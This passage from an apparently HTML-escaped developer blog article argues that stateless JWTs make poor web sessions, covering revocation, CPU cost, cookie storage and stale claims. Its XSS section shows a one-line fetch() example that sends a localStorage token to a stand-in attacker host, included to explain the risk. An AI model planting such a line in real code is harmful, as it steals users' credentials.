&lt;strong&gt;Payload (Claims):&lt;/strong&gt; Stores user metadata and timestamps (e.g., &lt;code&gt;{"sub": "usr_941", "role": "editor", "exp": 1783497600}&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; A cryptographic hash or signature verifying that the header and payload have not been tampered with.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because the token carries its own claims and cryptographic signature, any service possessing the secret key (for symmetric HMAC) or the public key (for asymmetric RSA/ECDSA) can verify the token without querying a database.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// How a server verifies an HMAC-SHA256 JWT&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;headerB64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payloadB64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signatureB64&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'.'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;expectedSignature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;crypto&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createHmac&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'sha256'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;JWT_SECRET&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`${headerB64}.${payloadB64}`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'base64url'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;timingSafeEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signatureB64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expectedSignature&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payloadB64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'base64url'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'utf8'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Authenticated! No database query performed.&lt;/span&gt;
    &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On paper, this sounds like pure architectural efficiency. In reality, treating this mechanism as a user session creates structural problems.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What Developers Miss About Token Verification
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Base64Url Is Not Encryption
&lt;/h3&gt;

&lt;p&gt;A surprising number of developers treat JWTs as encrypted payloads. Base64Url is an encoding format, not encryption. Anyone with access to the raw token string can decode the payload instantly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Anyone can read your claims without the secret key&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6ImFkbWluIn0"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; base64 --decode
&lt;span class="c"&gt;# Output: {"sub":"1234567890","name":"Alice","role":"admin"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you store user emails, internal permissions, plan tiers, or personal details in a JWT payload, that data is completely visible to client-side scripts, browser extensions, network proxies, and intermediate logs.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Real CPU Overhead of Cryptographic Signatures
&lt;/h3&gt;

&lt;p&gt;Developers often assume local crypto verification is virtually free compared to a database query. That depends heavily on your choice of signing algorithm.&lt;/p&gt;

&lt;p&gt;Consider what happens when you compare symmetric verification (HS256) with asymmetric verification (RS256 or ES256) and an in-memory key-value read:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Operation&lt;/th&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;Approximate Time per Op&lt;/th&gt;
&lt;th&gt;Throughput per CPU Core&lt;/th&gt;
&lt;th&gt;Network I/O&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;JWT (HS256)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Symmetric HMAC-SHA256&lt;/td&gt;
&lt;td&gt;~2 to 5 µs&lt;/td&gt;
&lt;td&gt;~120,000 req/sec&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;JWT (RS256, 2048-bit)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Asymmetric RSA public key&lt;/td&gt;
&lt;td&gt;~70 to 140 µs&lt;/td&gt;
&lt;td&gt;~15,000 to 25,000 req/sec&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;JWT (ES256, ECDSA P-256)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Asymmetric Elliptic Curve&lt;/td&gt;
&lt;td&gt;~90 to 200 µs&lt;/td&gt;
&lt;td&gt;~10,000 to 18,000 req/sec&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Session Read (Redis GET)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;In-memory TCP socket read&lt;/td&gt;
&lt;td&gt;~200 to 500 µs (latency)&lt;/td&gt;
&lt;td&gt;~60,000 to 100,000 req/sec&lt;/td&gt;
&lt;td&gt;Yes (local network)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Notice the difference in CPU utilization. While Redis involves network socket latency (~0.3ms over local network), the actual CPU cycles spent by your application process are tiny. &lt;/p&gt;

&lt;p&gt;In contrast, verifying an asymmetric RSA or ECDSA signature requires heavy modular arithmetic or curve multiplications on your application's CPU thread. If your API gateway handles 25,000 requests per second with RS256 verification, your servers spend 2 to 3 dedicated CPU cores purely running mathematical verification algorithms before routing a single byte of business logic.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The Revocation Paradox: The Redis Blacklist Trap
&lt;/h2&gt;

&lt;p&gt;Here is where the stateless model collapses under real-world requirements.&lt;/p&gt;

&lt;p&gt;A user clicks "Log out." In a session-based architecture, your backend executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Immediate invalidation across all servers&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;session_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or in Redis:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;DEL session:9f8a2b1c4e7d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The session no longer exists. Any subsequent request presenting that session ID fails authentication instantly.&lt;/p&gt;

&lt;p&gt;With a stateless JWT, the token lives entirely on the client. Deleting the token from &lt;code&gt;localStorage&lt;/code&gt; on the frontend does not invalidate the token. If an attacker copied that token, or intercepted it over an insecure connection, the token remains cryptographically valid until its expiration timestamp (&lt;code&gt;exp&lt;/code&gt;) passes.&lt;/p&gt;

&lt;p&gt;When teams realize this, they attempt to implement server-side revocation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// The Anti-Pattern: A Redis Blacklist for JWTs&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;authorization&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;PUBLIC_KEY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Check if token ID has been revoked&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;isBlacklisted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`blacklist:${decoded.jti}`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isBlacklisted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'Token revoked'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Consider what this code actually does on every single request:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Decodes and runs CPU-intensive cryptographic signature verification on the token.&lt;/li&gt;
&lt;li&gt;Extracts the &lt;code&gt;jti&lt;/code&gt; (JWT ID).&lt;/li&gt;
&lt;li&gt;Opens a network socket call to Redis to check if the &lt;code&gt;jti&lt;/code&gt; is blacklisted.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Request ---&amp;gt; [ Parse Header ] ---&amp;gt; [ Run Crypto Math (~100µs CPU) ] ---&amp;gt; [ Query Redis Socket (~400µs I/O) ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You now perform a stateful database lookup on every request, completely destroying the "stateless" advantage. &lt;/p&gt;

&lt;p&gt;Meanwhile, you are sending a 1,200-byte Authorization header on every HTTP request instead of a 32-byte session ID, and your application code must handle both cryptographic key management and Redis cache synchronization.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. The Security Reality: LocalStorage vs HttpOnly Cookies
&lt;/h2&gt;

&lt;p&gt;Where should a client store its authentication credential?&lt;/p&gt;

&lt;p&gt;Most beginner tutorials instruct developers to store JWTs in the browser's &lt;code&gt;localStorage&lt;/code&gt; or &lt;code&gt;sessionStorage&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// DO NOT DO THIS FOR SENSITIVE CREDENTIALS&lt;/span&gt;
&lt;span class="n"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'auth_token'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Cross-Site Scripting (XSS) Hazard
&lt;/h3&gt;

&lt;p&gt;Any JavaScript running on your origin can read &lt;code&gt;localStorage&lt;/code&gt;. If an attacker finds an XSS vulnerability, or if a third-party npm dependency in your bundle is compromised, the attacker can exfiltrate the token with a single line of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'https://attacker-controlled-server.com/steal?token='&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'auth_token'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once exfiltrated, the attacker has a signed, non-revocable token that works from anywhere in the world until it expires.&lt;/p&gt;

&lt;h3&gt;
  
  
  The HttpOnly Cookie Solution
&lt;/h3&gt;

&lt;p&gt;To protect against credential theft via script injection, browsers provide the &lt;code&gt;HttpOnly&lt;/code&gt; flag. When a cookie is marked &lt;code&gt;HttpOnly&lt;/code&gt;, client-side JavaScript cannot read it via &lt;code&gt;document.cookie&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie: auth_session&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;a7f29b01c4e94d82&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nc"&gt;Secure&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nc"&gt;HttpOnly&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nc"&gt;SameSite&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Lax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even if an attacker achieves full XSS execution in your web app, they cannot read the raw cookie value to steal and use outside the user's browser.&lt;/p&gt;

&lt;p&gt;However, once you put your authentication token inside an &lt;code&gt;HttpOnly&lt;/code&gt; cookie:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The browser attaches it automatically to cross-site requests, meaning you must implement CSRF protection (such as strict &lt;code&gt;SameSite&lt;/code&gt; policies or anti-CSRF challenge tokens).&lt;/li&gt;
&lt;li&gt;The argument that "JWTs are better for Single Page Apps because they avoid cookie complexity" is no longer valid.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you are using &lt;code&gt;HttpOnly&lt;/code&gt;, &lt;code&gt;Secure&lt;/code&gt;, &lt;code&gt;SameSite&lt;/code&gt; cookies to transmit your credentials, you are already using the browser's built-in session transport mechanism.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. The Stale Claims Problem
&lt;/h2&gt;

&lt;p&gt;In a session-based system, permissions and user states are evaluated against the current database state (or an in-memory cache synchronized with the database).&lt;/p&gt;

&lt;p&gt;In a stateless JWT, claims are immutable snapshots from the millisecond the token was minted.&lt;/p&gt;

&lt;p&gt;Consider this sequence of events:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10:00 AM: User logs in. Token issued with { "sub": "user_42", "role": "admin", "exp": 11:00 AM }.
10:15 AM: Company security detects malicious activity on account user_42.
10:16 AM: Support team sets user_42 status to "SUSPENDED" in the database.
10:17 AM: Attacker uses the token to call DELETE /api/production-database.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the receiving service only checks the signature and the &lt;code&gt;exp&lt;/code&gt; timestamp, the token is deemed completely valid. The attacker retains full administrator privileges for the remaining 43 minutes.&lt;/p&gt;

&lt;p&gt;To prevent this without a global blacklist, teams often resort to shortening token lifetimes to 60 seconds. But that introduces high-frequency refresh token churn, which requires... querying the database on every refresh cycle.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Architectural Breakdown: Opaque Sessions vs Stateless JWTs
&lt;/h2&gt;

&lt;p&gt;Here is how the three main approaches compare when evaluated against production requirements:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Traditional Opaque Session (Redis/DB)&lt;/th&gt;
&lt;th&gt;Pure Stateless JWT&lt;/th&gt;
&lt;th&gt;JWT with Redis Blacklist&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Payload Size on Wire&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~32 to 64 bytes (&lt;code&gt;session_id&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;800 to 1,500+ bytes&lt;/td&gt;
&lt;td&gt;800 to 1,500+ bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Server CPU Usage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Minimal (string hashing / socket read)&lt;/td&gt;
&lt;td&gt;High for asymmetric (RS256/ES256)&lt;/td&gt;
&lt;td&gt;High CPU + I/O socket overhead&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Instant Revocation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Trivial (&lt;code&gt;DEL session:id&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Impossible without state&lt;/td&gt;
&lt;td&gt;Trivial via blacklist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Revoke on Password Change&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Delete user session keys&lt;/td&gt;
&lt;td&gt;Impossible until expiry&lt;/td&gt;
&lt;td&gt;Must blacklist all outstanding tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;XSS Exfiltration Risk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Protected via &lt;code&gt;HttpOnly&lt;/code&gt; cookie&lt;/td&gt;
&lt;td&gt;Vulnerable if in &lt;code&gt;localStorage&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Vulnerable if in &lt;code&gt;localStorage&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stale Roles / Permissions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (reads fresh state)&lt;/td&gt;
&lt;td&gt;High (payload is fixed until &lt;code&gt;exp&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Depends on implementation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Database/Cache Dependency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes (Redis or DB query)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (Redis query on every request)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  7. Where JWTs Actually Belong
&lt;/h2&gt;

&lt;p&gt;This does not mean JWTs have no place in modern software engineering. It means they were designed for identity federation and distributed authorization, not web application sessions.&lt;/p&gt;

&lt;p&gt;Here are the scenarios where JWTs excel:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. OAuth 2.0 / OpenID Connect Across Trust Boundaries
&lt;/h3&gt;

&lt;p&gt;When an authorization server (like Keycloak, Okta, or Auth0) grants a client permission to access a third-party API, the API resource server needs to verify access without opening direct read access to the authorization provider's internal database.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Client App ] ---&amp;gt; [ Auth0 / IdP ] (Signs JWT with Private Key)
       |
       +-----------&amp;gt; [ Resource API ] (Verifies JWT with IdP Public Key)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, asymmetric JWTs (RS256) allow the Resource API to verify identity without sharing database connections or secrets with the Identity Provider.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Internal Microservice Propagation
&lt;/h3&gt;

&lt;p&gt;In large distributed systems, an edge API gateway can handle the user session, authenticate the client against a fast session store, and mint an ephemeral internal JWT (valid for 30 to 60 seconds):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Browser ] 
    | (HttpOnly Session Cookie)
    v
[ API Gateway ] 
    | 1. Validates Session in Redis
    | 2. Mints 30s Internal JWT: { "sub": "usr_99", "tier": "enterprise" }
    v
[ Order Service ] ---&amp;gt; [ Billing Service ] ---&amp;gt; [ Inventory Service ]
   (Verifies JWT)         (Verifies JWT)          (Verifies JWT)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Downstream services can trust the internal claims without repeatedly querying Redis, and the short 30-second lifetime limits the window for stale permissions.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Single-Use Signed Operations
&lt;/h3&gt;

&lt;p&gt;JWTs are well suited for single-purpose, time-limited authorizations:&lt;/p&gt;

&lt;ul&gt;
